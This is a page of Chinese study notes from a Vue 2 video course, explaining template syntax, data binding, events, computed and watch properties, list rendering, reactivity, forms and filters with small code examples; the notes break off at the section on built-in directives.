当前位置:   article > 正文

尚硅谷Vue笔记

尚硅谷vue笔记
  1. 1、Vue基础
  2. 2、vue-cli
  3. 3、vue-router
  4. 4、Vuex
  5. 5、element-ui
  6. 6、Vue3

1、Vue基础

1.1、Vue介绍

Vue是一套用于构建用户界面的渐进式JavaScript框架

Vue可以自底向上逐层的应用:从引入一个轻量小巧的核心库到可以引入各式各样的Vue插件

1.1.1、Vue特点

 1.1.2、学习Vue前的基础

ES6语法规范、ES6模块化、包管理器、原型、原型链、数组常用方法、axios、promise...

1.1.3、Vue官网

Vue官网

1.1.4、搭建Vue开发环境

找到教程--安装--直接用<script>引入;我们下载开发版本,因为有提示

在控制台会看到这样的提示,解决方法:

(1)在官网下载Vue devtools,获取Chrome扩展程序,然后打开浏览器的扩展程序,将文件拉进来,若第一条还是没有消失,点击安装的这个插件,里面有详情,找到允许访问文件地址,开启就行

(2)在<script>标签里面写Vue.config.productionTip = false,这个就是阻止生产提示警告(如果还是出现提示,直接改写Vue.js里面的代码,把那个提示信息删除就行了)

1.2初始Vue

1、要有一个容器,然后创建一个Vue实例,并且传入一个配置对象;

2、容器中依然是符合html规范,只不过混入一些Vue语法,例如:{{name}};

3、容器里面的代码被称为【Vue模板】;

4、一个Vue实例不会接管多个容器,也就是说一一对应;

5、{{xxx}}中的xxx要写js表达式,并且xxx可以自动读取data里的所有属性;

6、一旦data数据改变,页面也会自动更新;

  1. <body>
  2. <!-- 容器 -->
  3. <h1 class="root">
  4. hello,{{name}}
  5. </h1>
  6. <script>
  7. // Vue实例
  8. new Vue({
  9. el:'.root',//el用来指定当前Vue实例为哪个容器服务
  10. data:{//data用来存储数据
  11. name:'阿胜'
  12. }
  13. });
  14. </script>
  15. </body>

1.3Vue模板语法

Vue模板语法有两大类:

1、插值语法:

        功能:用来解析标签体内容。

        写法:{{xxx}},xxx是js表达式,可以直接读取data里面的属性。

2、指令语法:

        功能:用来解析标签(包括:标签属性、标签体内容、绑定事件......)

        写法:v-bind:href='xxx' 或者简写成 :href = 'xxx',里面的xxx同样也是js表达式,也可以读取data里面的属性。

        备注:Vue里面指令很多,形式都是v-???,并不是所有简写都和v-bind一样。

  1. <body>
  2. <!-- 容器 -->
  3. <h1 class="root">
  4. hello,{{name}}
  5. <br>
  6. <a v-bind:href="url">baidu</a>,{{address.name}}
  7. </h1>
  8. <script>
  9. // Vue实例
  10. new Vue({
  11. el:'.root',//el用来指定当前Vue实例为哪个容器服务
  12. data:{//data用来存储数据
  13. name:'阿胜',
  14. url:'https://www.baidu.com',
  15. address:{
  16. name:'China'
  17. }
  18. }
  19. });
  20. </script>
  21. </body>

1.4数据绑定

Vue里面有两种数据绑定:

1、单向绑定(v-bind):数据只能从data流向页面。

2、双向绑定(v-model):数据不仅可以从data流向页面,还可以从页面流向data。

        备注:

                1、双向绑定一般用于表单类元素(如:input、select...)

                2、v-model:value 可以简写为 v-model(因为v-model默认收集就是value值)

1.5data和el两种写法

data和el两种写法:

1、el的两种写法:

        (1)new Vue时候配置el属性

        (2)先创建Vue实例,然后通过vm.$mount('.root')指向el的值。

2、data的两种写法:

        (1)对象式(就是之前写的那样)

        (2)函数式(注意:data用函数式,return后面必须是对象)

        如何选择:现在两种写法都可以,但是用到组件时,必须用函数式,否则报错。

  1. data: function () {//data用来存储数据
  2. return {
  3. name: '阿胜',
  4. url: 'https://www.baidu.com',
  5. address: {
  6. name: 'China'
  7. }
  8. }
  9. }

3、原则:

        由Vue管理的函数,一定不能写箭头函数,箭头函数this指向window,如果写了,this就不再是Vue实例了。

1.6 MVVM模型

1、M:模型(model):data中的数据;

2、V:视图(view):模板代码;

3、VM:视图模型(viewmodel):Vue实例

观察发现:

        1、data中的属性,最后都会出现在VM身上

        2、VM身上的属性以及Vue实例中的属性,在Vue模板(代码)中都可以直接使用

1.7Object.defineProperty(定义属性)

object.defineproperty(对象名,对象属性,值)

  1. Object.defineProperty(v,'age',{
  2. // value:18;
  3. // enumerable:true,//控制属性是否可以枚举,也就是遍历,默认false
  4. // writable:true,//控制属性是否可以修改,默认false
  5. // configurable:true,//控制属性是否可以被删除,默认false
  6. get(){//当读取时,get函数就被调佣
  7. console.log('有人读取age属性');
  8. return number;
  9. },
  10. set(value){//当修改时,set函数就被调用
  11. console.log('修改属性');
  12. number = value
  13. }
  14. })

object.keys(对象名):可以将对象的属性转换成数组 

1.8数据代理

  1. <script>//通过修改obj1的x值,间接修改obj中的x
  2. var obj = {x:12}
  3. var obj1 = {y:21}
  4. Object.defineProperty(obj1,'x',{
  5. get(){
  6. return obj.x;
  7. },
  8. set(value){
  9. obj.x = value
  10. }
  11. })
  12. </script>

Vue中的数据代理

 1、Vue中数据代理:

        通过VM对象来代理data对象中属性的操作(读/写)

2、Vue中数据代理的好处:

        更加方便操作data中数据

3、基本原理:

        通过object.defineproperty()把data对象中所有属性添加到VM中,并且给每一个属性添加getter和setter方法,在getter/setter内部去操作(读/写)data中对应的属性。

1.9事件处理

  1. <body>
  2. <div id="root">
  3. <h1>{{name}}</h1>
  4. <button @click='showInfo($event,66)'>点我提示信息1</button>
  5. <button @click="showInfo">点我提示信息2</button>
  6. </div>
  7. <script>
  8. var vm = new Vue({
  9. el: '#root',
  10. data:{
  11. name:"he"
  12. },
  13. methods:{
  14. showInfo(e,number,a,b,c){
  15. console.log(e,number,a,b,c);
  16. }
  17. }
  18. })
  19. </script>
  20. </body>

事件的基本使用:

        1、使用v-on:xxx 或@xxx绑定事件。其中xxx是事件名;

        2、事件的回调写在methods对象中,最终会在vm中;

        3、methods中配置的函数,不要用箭头函数!!!否者this就不是vm了;

        4、methods中的函数,都是Vue所管理的函数,this指向vm 或组件实例对象;

        5、@click=“demo” 和@click=“demo($event)”效果一致,但是后者传参。

        6、@xxx="yyy",yyy可以写简单的语句

1.10事件修饰符

Vue中的事件修饰符:

        1、prevent:阻止默认事件(常用);

        2、stop:阻止事件冒泡(常用);

        3、once:事件只触发一次(常用);

        4、capture:使用事件的捕获模式;

        5、self:只有event.target是当前操作的元素时才触发事件;

        6、passive:事件的默认行为立即执行,无需等待事件回调执行完毕;(一般用来优化,移动端用的较多)

        7、修饰符可以连着写!!!例如:@click.prevent.stop(阻止默认行为而且阻止冒泡)

  1. <style>
  2. * {
  3. margin-top: 10px;
  4. }
  5. .demo {
  6. width: 200px;
  7. height: 100px;
  8. background-color: skyblue;
  9. }
  10. ul {
  11. height: 200px;
  12. width: 200px;
  13. background-color: #ccc;
  14. overflow: auto;
  15. }
  16. li {
  17. height: 100px;
  18. }
  19. </style>
  20. </head>
  21. <body>
  22. <div class="root">
  23. <h2>hello,{{name}}</h2>
  24. <!-- 在事件后面加上prevent后,后面的跳转就不会发生,阻止了默认事件-->
  25. <a href="http://www.baidu.com" @click.prevent="showInfo">点我提示信息</a>
  26. <!-- 在事件上添加stop会阻止事件冒泡 -->
  27. <div class="demo " @click="showInfo">
  28. <button @click.stop="showInfo">点我提示信息</button>
  29. </div>
  30. <!-- 在事件上添加once,事件只会触发一次 -->
  31. <button @click.once="showInfo">点我提示信息</button>
  32. <!-- 默认事件冒泡,在事件后面添加capture后,就是处理捕获 -->
  33. <div class="demo " @click.capture="showMsg(2)">
  34. <button @click="showMsg(1)">点我提示信息1</button>
  35. </div>
  36. <!-- self:只有event.target是当前操作的元素时才触发事件; -->
  37. <div class="demo " @click.self="showMsg(2)">
  38. <button @click="showMsg(1)">点我提示信息1</button>
  39. </div>
  40. <!-- passive:事件的默认行为立即执行,无需等待事件回调执行完毕;(一般用来优化,移动端用的较多) -->
  41. <ul @wheel.passive="showInfo2">
  42. <li>1</li>
  43. <li>2</li>
  44. <li>3</li>
  45. <li>4</li>
  46. <li>5</li>
  47. </ul>
  48. </div>
  49. <script>
  50. new Vue({
  51. el:'.root',
  52. data:{name:'阿胜'},
  53. methods:{
  54. showInfo(){
  55. alert('同学你好帅!!!')
  56. },
  57. showMsg(e){
  58. console.log(e);
  59. alert('hello')
  60. },
  61. showInfo2(){
  62. for(var i =0;i<100000;i++){
  63. console.log('#');
  64. }
  65. }
  66. }
  67. })
  68. </script>
  69. </body>

1.11键盘事件

1、Vue中常用的键盘别名:

        回车 => enter

        删除 => delete(捕获“删除”和‘退格’键)

        退出 => esc

        空格 => space

        换行 => tab(特殊,必须配合keydown去使用)

        上 => up

       下=> down

        左 => left

        右 => right

2、Vue未提供别名的按键,可以使用按键原始的key值去绑定,但注意转为kebab-case(短横线命名)

3、系统修饰键(用法特殊):Ctrl、Alt、shift、meta(win键)

        (1)配合keyup使用:按下修饰键的同时,还得按下其他键,随后释放其他键,事件才触发。

        (2)配合keydown使用:正常触发

        (3)如果想ctrl + y 触发,可以写@keyup.ctrl.y

4、可以使用keycode去指定具体按键(不推荐,以后弃用)

5、Vue.config.keyCodes.自定义键名 = 建码。可以定制按键别名

  1. <body>
  2. <div class="root">
  3. <h2>hello,{{name}}</h2>
  4. <!-- 按下enter后才会触发事件 -->
  5. <input type="text" placeholder="输入完后按enter" @keydown.up="showInfo">
  6. <!-- 没有别名的大写键 -->
  7. <input type="text" placeholder="输入完后按capslock" @keydown.caps-lock="showInfo">
  8. <input type="text" placeholder="输入完后按ctrl" @keyup.ctrl="showInfo">
  9. </div>
  10. <script>
  11. new Vue({
  12. el:'.root',
  13. data:{
  14. name:'阿胜'
  15. },
  16. methods:{
  17. showInfo(e){
  18. console.log(e.target.value);
  19. }
  20. }
  21. })
  22. </script>
  23. </body>

1.12计算属性

计算属性:

        1、定义:要用的属性不存在,通过已有的属性计算得来。

        2、原理:底层借助了object.defineproperty方法提供的getter和setter。

        3、get函数什么时候执行?

                (1)初次读取时执行一次

                (2)当依赖的数据发生变化时会被再次调用

        4、优势:与methods实现相比,内部有缓存机制(复用),效率更高,调试方便

        5、备注:

                1、计算属性最终出现在vm上,直接读取使用即可

                2、如果计算属性要被修改,那必须的写set函数去响应修改,且set中要引起计算时依赖的数据发生变化。

  1. <body>
  2. <div class="root">
  3. 姓: <input type="text" v-model=firstname><br><br>
  4. 名: <input type="text" v-model=lastname><br><br>
  5. 全名:{{firstname + '-'+ lastname}}<br><br>
  6. <!-- 全名:{{fullname()}}<br><br> -->
  7. 全名:{{fullname}}
  8. </div>
  9. <script>
  10. var vm = new Vue({
  11. el: '.root',
  12. data:{
  13. firstname:'阿',
  14. lastname:'胜'
  15. },
  16. // methods:{
  17. // fullname(){
  18. // return this.firstname +'-'+this.lastname
  19. // }
  20. // },
  21. computed:{
  22. fullname:{
  23. get(){
  24. return this.firstname + this.lastname
  25. },
  26. set(value){
  27. const arr = value.split('-')
  28. this.firstname = arr[0];
  29. this.lastname = arr[1];
  30. }
  31. }
  32. }
  33. })
  34. </script>
  35. </body>

       当不需要进行修改,只读取时,可以省略set,如下

  1. computed:{
  2. // 详细
  3. // fullname:{
  4. // get(){
  5. // return this.firstname + this.lastname
  6. // },
  7. // set(value){
  8. // const arr = value.split('-')
  9. // this.firstname = arr[0];
  10. // this.lastname = arr[1];
  11. // }
  12. // }
  13. // 简写
  14. fullname(){
  15. return this.firstname + this.lastname
  16. }
  17. }

1.13监视属性

监视属性watch:

        1、当被监视的属性变化时,回调函数自动调用,进行相关操作。

        2、监视的属性必须存在,才能进行监视!!

        3、监视的两种写法:

                (1)new Vue时传入watch配置

                (2)通过vm.$watch监视

  1. <body>
  2. <div class="root">
  3. <h2>今天天气很{{info}}</h2><br><br>
  4. <button @click="isHot = !isHot">点我切换</button>
  5. </div>
  6. <script>
  7. var vm =new Vue({
  8. el:'.root',
  9. data:{
  10. isHot:true
  11. },
  12. computed:{
  13. info(){
  14. return this.isHot?'炎热':'凉爽'
  15. }
  16. },
  17. methods: {
  18. changeWeather(){
  19. this.isHot = !this.isHot
  20. }
  21. },
  22. watch: {
  23. isHot:{
  24. immediate:true,//初始化时让handle调用一下
  25. handler(newValue,oldValue){//当ishot发生改变时,handler调用
  26. console.log('isHot被修改',newValue,oldValue);
  27. }
  28. }
  29. },
  30. })
  31. vm.$watch('isHot',{
  32. immediate: true,//初始化时让handle调用一下
  33. handler(newValue, oldValue) {
  34. console.log('isHot被修改', newValue, oldValue);
  35. }
  36. })
  37. </script>
  38. </body>

本节讲了watch属性里面的这两个属性和方法,immediate和handler

1.14深度监视

深度监视:

        (1)Vue中的watch默认不监视对象内部值得改变(一层)。

        (2)配置deep:true可以监视对象内部值得改变(多层)。

备注:

        (1)Vue自身可以监视对象内部值的改变,但是Vue提供的watch默认不可以!

        (2)使用watch时根据数据的具体结构,决定是否深度监视。

简写:

  1. watch: {
  2. // 正常写法
  3. // isHot: {
  4. // immediate: true,//初始化时让handle调用一下
  5. // handler(newValue, oldValue) {
  6. // console.log('isHot被修改', newValue, oldValue);
  7. // }
  8. // }
  9. // 简写
  10. isHot(newValue, oldValue){
  11. console.log('isHot被修改', newValue, oldValue);
  12. }
  13. },
  14. })
  15. // 正常写法
  16. // vm.$watch('isHot',{
  17. // immediate: true,//初始化时让handle调用一下
  18. // handler(newValue, oldValue) {
  19. // console.log('isHot被修改', newValue, oldValue);
  20. // }
  21. // })
  22. // 简写
  23. vm.$watch('isHot',function (newValue, oldValue) {
  24. console.log('isHot被修改', newValue, oldValue);
  25. })

1.15computed和watch之间的区别

computed和watch之间的区别:

        1、computed能完成的功能,watch都可以完成

        2、watch能完成的,computed不一定可以完成,例如:watch可以进行异步操作(函数的回调)

两个重要的小原则:

        1、被Vue管理的函数,最好写成普通函数function(){},这样this就指向Vue或组件实例对象

        2、所有不被Vue管理的函数(定时器回调函数,ajax的回调函数、promise的回调函数等),最好写成箭头函数()=>{},这样this的指向才是vm 或者组件实例对象。

1.16绑定样式

绑定样式:

                    1. class样式

                                写法:class="xxx" xxx可以是字符串、对象、数组。

                                        字符串写法适用于:类名不确定,要动态获取。

                                        对象写法适用于:要绑定多个样式,个数不确定,名字也不确定。

                                        数组写法适用于:要绑定多个样式,个数确定,名字也确定,但不确定用不用。

                    2. style样式

                                :style="{fontSize: xxx}"其中xxx是动态值。

                                :style="[a,b]"其中a、b是样式对象。

  1. <!DOCTYPE html>
  2. <html>
  3. <head>
  4. <meta charset="UTF-8" />
  5. <title>绑定样式</title>
  6. <style>
  7. .basic{
  8. width: 400px;
  9. height: 100px;
  10. border: 1px solid black;
  11. }
  12. .happy{
  13. border: 4px solid red;;
  14. background-color: rgba(255, 255, 0, 0.644);
  15. background: linear-gradient(30deg,yellow,pink,orange,yellow);
  16. }
  17. .sad{
  18. border: 4px dashed rgb(2, 197, 2);
  19. background-color: gray;
  20. }
  21. .normal{
  22. background-color: skyblue;
  23. }
  24. .atguigu1{
  25. background-color: yellowgreen;
  26. }
  27. .atguigu2{
  28. font-size: 30px;
  29. text-shadow:2px 2px 10px red;
  30. }
  31. .atguigu3{
  32. border-radius: 20px;
  33. }
  34. </style>
  35. <script type="text/javascript" src="../js/vue.js"></script>
  36. </head>
  37. <body>
  38. <!--
  39. 绑定样式:
  40. 1. class样式
  41. 写法:class="xxx" xxx可以是字符串、对象、数组。
  42. 字符串写法适用于:类名不确定,要动态获取。
  43. 对象写法适用于:要绑定多个样式,个数不确定,名字也不确定。
  44. 数组写法适用于:要绑定多个样式,个数确定,名字也确定,但不确定用不用。
  45. 2. style样式
  46. :style="{fontSize: xxx}"其中xxx是动态值。
  47. :style="[a,b]"其中a、b是样式对象。
  48. -->
  49. <!-- 准备好一个容器-->
  50. <div id="root">
  51. <!-- 绑定class样式--字符串写法,适用于:样式的类名不确定,需要动态指定 -->
  52. <div class="basic" :class="mood" @click="changeMood">{{name}}</div> <br/><br/>
  53. <!-- 绑定class样式--数组写法,适用于:要绑定的样式个数不确定、名字也不确定 -->
  54. <div class="basic" :class="classArr">{{name}}</div> <br/><br/>
  55. <!-- 绑定class样式--对象写法,适用于:要绑定的样式个数确定、名字也确定,但要动态决定用不用 -->
  56. <div class="basic" :class="classObj">{{name}}</div> <br/><br/>
  57. <!-- 绑定style样式--对象写法 -->
  58. <div class="basic" :style="styleObj">{{name}}</div> <br/><br/>
  59. <!-- 绑定style样式--数组写法 -->
  60. <div class="basic" :style="styleArr">{{name}}</div>
  61. </div>
  62. </body>
  63. <script type="text/javascript">
  64. Vue.config.productionTip = false
  65. const vm = new Vue({
  66. el:'#root',
  67. data:{
  68. name:'尚硅谷',
  69. mood:'normal',
  70. classArr:['atguigu1','atguigu2','atguigu3'],
  71. classObj:{
  72. atguigu1:false,
  73. atguigu2:false,
  74. },
  75. styleObj:{
  76. fontSize: '40px',
  77. color:'red',
  78. },
  79. styleObj2:{
  80. backgroundColor:'orange'
  81. },
  82. styleArr:[
  83. {
  84. fontSize: '40px',
  85. color:'blue',
  86. },
  87. {
  88. backgroundColor:'gray'
  89. }
  90. ]
  91. },
  92. methods: {
  93. changeMood(){
  94. const arr = ['happy','sad','normal']
  95. const index = Math.floor(Math.random()*3)
  96. this.mood = arr[index]
  97. }
  98. },
  99. })
  100. </script>
  101. </html>

1.17条件渲染

条件渲染:

                            1.v-if

                                        写法:

                                                (1).v-if="表达式"

                                                (2).v-else-if="表达式"

                                                (3).v-else="表达式"

                                        适用于:切换频率较低的场景。

                                        特点:不展示的DOM元素直接被移除!!!(DOM中看不到)

                                        注意:v-if可以和:v-else-if、v-else一起使用,但要求结构不能被“打断”!!!还可以和标签template使用,template标签不会出现在DOM中

                            2.v-show

                                        写法:v-show="表达式"

                                        适用于:切换频率较高的场景。

                                        特点:不展示的DOM元素未被移除,仅仅是使用样式隐藏掉

                               

                            3.备注:使用v-if的时,元素可能无法获取到,而使用v-show一定可以获取到。

  1. <div id="root">
  2. <h2>当前的n值是:{{n}}</h2>
  3. <button @click="n++">点我n+1</button>
  4. <!-- 使用v-show做条件渲染 -->
  5. <!-- <h2 v-show="false">欢迎来到{{name}}</h2> -->
  6. <!-- <h2 v-show="1 === 1">欢迎来到{{name}}</h2> -->
  7. <!-- 使用v-if做条件渲染 -->
  8. <!-- <h2 v-if="false">欢迎来到{{name}}</h2> -->
  9. <!-- <h2 v-if="1 === 1">欢迎来到{{name}}</h2> -->
  10. <!-- v-else和v-else-if -->
  11. <!-- <div v-if="n === 1">Angular</div>
  12. <div v-else-if="n === 2">React</div>
  13. <div v-else-if="n === 3">Vue</div>
  14. <div v-else>哈哈</div> -->
  15. <!-- v-if与template的配合使用 -->
  16. <template v-if="n === 1">
  17. <h2>你好</h2>
  18. <h2>尚硅谷</h2>
  19. <h2>北京</h2>
  20. </template>
  21. </div>

1.18列表渲染

1.18.1v-for遍历

v-for指令:

                        1.用于展示列表数据

                        2.语法:v-for="(item, index) in xxx" :key="yyy"

                        3.可遍历:数组、对象、字符串(用的很少)、指定次数(用的很少)

  1. <!-- 准备好一个容器-->
  2. <div id="root">
  3. <!-- 遍历数组 -->
  4. <h2>人员列表(遍历数组)</h2>
  5. <ul>
  6. <li v-for="(p,index) of persons" :key="index">
  7. {{p.name}}-{{p.age}}
  8. </li>
  9. </ul>
  10. <!-- 遍历对象 -->
  11. <h2>汽车信息(遍历对象)</h2>
  12. <ul>
  13. <li v-for="(value,k) of car" :key="k">
  14. {{k}}-{{value}}
  15. </li>
  16. </ul>
  17. <!-- 遍历字符串 -->
  18. <h2>测试遍历字符串(用得少)</h2>
  19. <ul>
  20. <li v-for="(char,index) of str" :key="index">
  21. {{char}}-{{index}}
  22. </li>
  23. </ul>
  24. <!-- 遍历指定次数 -->
  25. <h2>测试遍历指定次数(用得少)</h2>
  26. <ul>
  27. <li v-for="(number,index) of 5" :key="index">
  28. {{index}}-{{number}}
  29. </li>
  30. </ul>
  31. </div>
  32. <script type="text/javascript">
  33. Vue.config.productionTip = false
  34. new Vue({
  35. el:'#root',
  36. data:{
  37. persons:[
  38. {id:'001',name:'张三',age:18},
  39. {id:'002',name:'李四',age:19},
  40. {id:'003',name:'王五',age:20}
  41. ],
  42. car:{
  43. name:'奥迪A8',
  44. price:'70万',
  45. color:'黑色'
  46. },
  47. str:'hello'
  48. }
  49. })
  50. </script>

1.18.2key作用与原理

面试题:react、vue中的key有什么作用?(key的内部原理)

                        1. 虚拟DOM中key的作用:

                                        key是虚拟DOM对象的标识,当数据发生变化时,Vue会根据【新数据】生成【新的虚拟DOM】,  随后Vue进行【新虚拟DOM】与【旧虚拟DOM】的差异比较,比较规则如下:

                        2.对比规则:

                                    (1).旧虚拟DOM中找到了与新虚拟DOM相同的key:

                                                ①.若虚拟DOM中内容没变, 直接使用之前的真实DOM!

                                                ②.若虚拟DOM中内容变了, 则生成新的真实DOM,随后替换掉页面中之前的真实DOM。

                                 (2).旧虚拟DOM中未找到与新虚拟DOM相同的key:

                                                创建新的真实DOM,随后渲染到到页面。       

                        3. 用index作为key可能会引发的问题:

                                            1. 若对数据进行:逆序添加、逆序删除等破坏顺序操作:

                                                            会产生没有必要的真实DOM更新 ==> 界面效果没问题, 但效率低。

                                            2. 如果结构中还包含输入类的DOM:

                                                            会产生错误DOM更新 ==> 界面有问题。

                        4. 开发中如何选择key?:

                                            1.最好使用每条数据的唯一标识作为key, 比如id、手机号、身份证号、学号等唯一值。

                                            2.如果不存在对数据的逆序添加、逆序删除等破坏顺序操作,仅用于渲染列表用于展示, 使用index作为key是没有问题的。

 1.18.3列表过滤

用到了filter(element)方法

  1. <body>
  2. <div class="root">
  3. <h2>One Piece</h2>
  4. <input type="text" placeholder="请输入你想输入的海贼" v-model="keyword">
  5. <ul>
  6. <li v-for="(p,index) in filpersons" :key="filpersons.id">{{p.name}}-{{p.age}}</li>
  7. </ul>
  8. </div>
  9. <script>
  10. new Vue({
  11. el:'.root',
  12. data() {
  13. return {
  14. keyword:'',
  15. persons:[
  16. {id:001,name:"娜美",age:18},
  17. {id:002,name:'蒙奇D路飞',age:19},
  18. {id:003,name:'蒙奇D卡普',age:50},
  19. {id:004,name:'蒙奇D龙',age:35},
  20. {id:005,name:'美杜莎',age:25},
  21. ]
  22. }
  23. },
  24. computed: {//列表过滤用到filter方法,必须传递一个参数,可以参考MDN
  25. filpersons(){
  26. return this.persons.filter((p)=>{
  27. //console.log(this);
  28. return p.name.indexOf(this.keyword) !== -1
  29. })
  30. }
  31. },
  32. })
  33. </script>
  34. </body>

 1.18.4列表排序

用到了数组sort(p1,p2)方法

  1. <body>
  2. <div class="root">
  3. <h2>One Piece</h2>
  4. <input type="text" placeholder="请输入你想输入的海贼" v-model="keyword">
  5. <button @click="sortInfo=0">年龄原序</button>
  6. <button @click="sortInfo=1">年龄升序</button>
  7. <button @click="sortInfo=2">年龄降序</button>
  8. <ul>
  9. <li v-for="(p,index) in filpersons" :key="filpersons.id">{{p.name}}-{{p.age}}</li>
  10. </ul>
  11. </div>
  12. <script>
  13. new Vue({
  14. el:'.root',
  15. data() {
  16. return {
  17. keyword:'',
  18. persons:[
  19. {id:001,name:"娜美",age:18},
  20. {id:002,name:'蒙奇D路飞',age:19},
  21. {id:003,name:'蒙奇D卡普',age:50},
  22. {id:004,name:'蒙奇D龙',age:35},
  23. {id:005,name:'美杜莎',age:25},
  24. ],
  25. sortInfo:0
  26. }
  27. },
  28. computed: {//列表过滤用到filter方法,必须传递一个参数,可以参考MDN
  29. filpersons(){
  30. const arr= this.persons.filter((p)=>{
  31. // console.log(this);
  32. return p.name.indexOf(this.keyword) !== -1
  33. })
  34. if(this.sortInfo){
  35. return arr.sort((p1,p2)=>{
  36. return this.sortInfo==1? p1.age - p2.age : p2.age-p1.age
  37. })
  38. }else{
  39. return arr
  40. }
  41. }
  42. },
  43. })
  44. </script>
  45. </body>

1.19Vue数据监视

        1.19.1模拟数据监视原理(对象)

        简单模拟了vue的数据监视,不过vue监视的更加完善,多层都可以监视

  1. <body>
  2. <script>
  3. let data = {
  4. name:'路飞',
  5. address:'忘了'
  6. }
  7. // 创建一个监视的实例对象,用来监视data中属性的变化
  8. const obs = new Observer(data)
  9. console.log(obs);
  10. // 准备一个vm实例对象
  11. let vm ={}
  12. vm._data = data = obs
  13. function Observer(obj){
  14. // 将对象中的属性遍历成数组
  15. const keys = Object.keys(obj)
  16. // 遍历数组
  17. keys.forEach((k)=>{
  18. Object.defineProperty(this,k,{//this指的是obs这个实例对象
  19. get(){
  20. // console.log(this);
  21. return obj[k]
  22. },
  23. set(val){
  24. console.log('k被修改,我得解析模板');
  25. obj[k] = val
  26. }
  27. })
  28. })
  29. }
  30. </script>
  31. </body>

        1.19.2Vue.set()方法

        Vue.set(target,key,val)或者vm.$set(target,key,val)可以向响应式对象里面添加(修改        )一个属性。

        注意:

                对象不能是Vue实例,或是Vue实例的根数据对象!!!(记住不能给vue或者vm添加就行)

  1. <body>
  2. <div class="root">
  3. <h2>性别:{{school.sex}}</h2>
  4. </div>
  5. <script>
  6. // Vue.set(target,key,val)或者vm.$set(target,key,val)
  7. const vm =new Vue({
  8. el:'.root',
  9. data() {
  10. return {
  11. school:{
  12. }
  13. }
  14. },
  15. })
  16. </script>
  17. </body>

        1.19.3模拟数据监视原理(数组)

给数组添加或者删除可以用:

        (1)vm.$set(vm.person.hobby,0,'gan')

        (2)数组的操作方法:vm.person.hobby.push('做梦'),vm.person.hobby.splice(0,1,'chi')

  1. <body>
  2. <div class="root">
  3. <h2>我的爱好</h2>
  4. <ul>
  5. <li v-for="(item,index) in person.hobby" :key="index">
  6. {{item}}
  7. </li>
  8. </ul>
  9. </div>
  10. <script>
  11. //vm.person.hobby.splice(0,1,'chi')
  12. // vm.person.hobby.push('做梦')
  13. // vm.$set(vm.person.hobby,0,'gan')
  14. const vm = new Vue({
  15. el:'.root',
  16. data(){
  17. return {
  18. person:{
  19. hobby:['干饭','动漫','打游戏']
  20. }
  21. }
  22. }
  23. })
  24. </script>
  25. </body>

        1.19.4数据监视总结

1.20收集表单数据

收集表单数据:

                    若:<input type="text"/>,则v-model收集的是value值,用户输入的就是value值。

                    若:<input type="radio"/>,则v-model收集的是value值,且要给标签配置value值。

                    若:<input type="checkbox"/>

                            1.没有配置input的value属性,那么收集的就是checked(勾选 or 未勾选,是布尔值)

                            2.配置input的value属性:

                                    (1)v-model的初始值是非数组,那么收集的就是checked(勾选 or 未勾选,是布尔值)

                                    (2)v-model的初始值是数组,那么收集的的就是value组成的数组

                    备注:v-model的三个修饰符:

                                    lazy:失去焦点再收集数据

                                    number:输入字符串转为有效的数字

                                    trim:输入首尾空格过滤

  1. <body>
  2. <div class="root">
  3. <form @submit.prevent="demo">
  4. 账号:<input type="text" v-model.lazy.trim="account"><br><br>
  5. 密码:<input type="password" v-model="password"><br><br>
  6. 年龄:<input type="number" v-model.number="age"><br><br>
  7. <!-- 收集性别时,我们可以给input添加value -->
  8. 性别: <input type="radio" name="sex" v-model="sex" value="male"><input type="radio" name="sex" v-model="sex" value="female"><br><br>
  9. 爱好: <input type="checkbox" v-model="hobby" value="study">睡觉
  10. <input type="checkbox" v-model="hobby" value="cartoon">动漫
  11. <input type="checkbox" v-model="hobby" value="game">打游戏<br><br>
  12. 所属地区:
  13. <select v-model="city">
  14. <option value="">点我选择你在哪儿</option>
  15. <option value="bj">北京</option>
  16. <option value="hn">河南</option>
  17. <option value="78">M78</option>
  18. </select><br><br>
  19. 其他信息:
  20. <textarea ></textarea><br><br>
  21. <input type="checkbox" v-model="agree">
  22. 你敢点我?<a href="http://www.baidu.com">给你好看的看看</a>
  23. <button>起飞</button>
  24. </form>
  25. </div>
  26. <script>
  27. new Vue({
  28. el:'.root',
  29. data() {
  30. return {
  31. account:'',
  32. password:'',
  33. sex:'male',
  34. hobby:[],//收集多个数据时,用数组
  35. city:'',
  36. agree:'true',
  37. age:''
  38. }
  39. },
  40. methods: {
  41. demo(){
  42. console.log(JSON.stringify(this._data));//将数据用字符串的形式输出
  43. }
  44. },
  45. })
  46. </script>
  47. </body>

1.21过滤器

过滤器:

                定义:对要显示的数据进行特定格式化后再显示(适用于一些简单逻辑的处理)。

                语法:

                        1.注册过滤器:Vue.filter(name,callback) 或 new Vue{filters:{}}

                        2.使用过滤器:{{ xxx | 过滤器名}}  或  v-bind:属性 = "xxx | 过滤器名"

                备注:

                        1.过滤器也可以接收额外参数、多个过滤器也可以串联

                        2.并没有改变原本的数据, 是产生新的对应的数据

  1. <body>
  2. <div class="root">
  3. <h2>显示格式化后的时间</h2>
  4. <!-- 计算属性 -->
  5. <h3>现在是{{fmtime}}</h3>
  6. <!-- methods方法 -->
  7. <h3>现在是{{gettime()}}</h3>
  8. <!-- 过滤器 -->
  9. <h3>现在是{{nowtime | getFormate}}</h3>
  10. <!-- 过滤器传递参数 -->
  11. <h3>现在是{{nowtime | getFormate('YYYY年MM月DD日')}}</h3>
  12. <!-- 先执行nowtime | getFormate('YYYY年MM月DD日'),再把结果和myslice执行 -->
  13. <h3>现在是{{nowtime | getFormate('YYYY年MM月DD日') | myslice}}</h3>
  14. <!-- 可以单向绑定用,不能双向!! -->
  15. <h3 :x="name | myslice">现在是{{fmtime}}</h3>
  16. </div>
  17. <script>
  18. // 全局声明
  19. Vue.filter('myslice',function(value) {
  20. return value.slice(0,4)
  21. })
  22. new Vue({
  23. el:'.root',
  24. data() {
  25. return {
  26. nowtime:'1658562464535',
  27. name:'12132132132'
  28. }
  29. },
  30. computed: {
  31. fmtime(){
  32. return dayjs(this.nowtime).format('YYYY年MM月DD日 HH:mm:ss')
  33. }
  34. },
  35. methods: {
  36. gettime(){
  37. return dayjs(this.nowtime).format('YYYY年MM月DD日 HH:mm:ss')
  38. }
  39. },
  40. // 局部声明
  41. filters:{
  42. getFormate(value,str='YYYY年MM月DD日 HH:mm:ss'){//es6新语法,如果没有str就按照括号里面的参数,如果传递的有参数,就按照参数来
  43. return dayjs(value).format(str)
  44. }
  45. }
  46. })
  47. </script>
  48. </body>

1.22内置指令

我们学过的指令:

                        v-bind  : 单向绑定解析表达式, 可简写为 :xxx

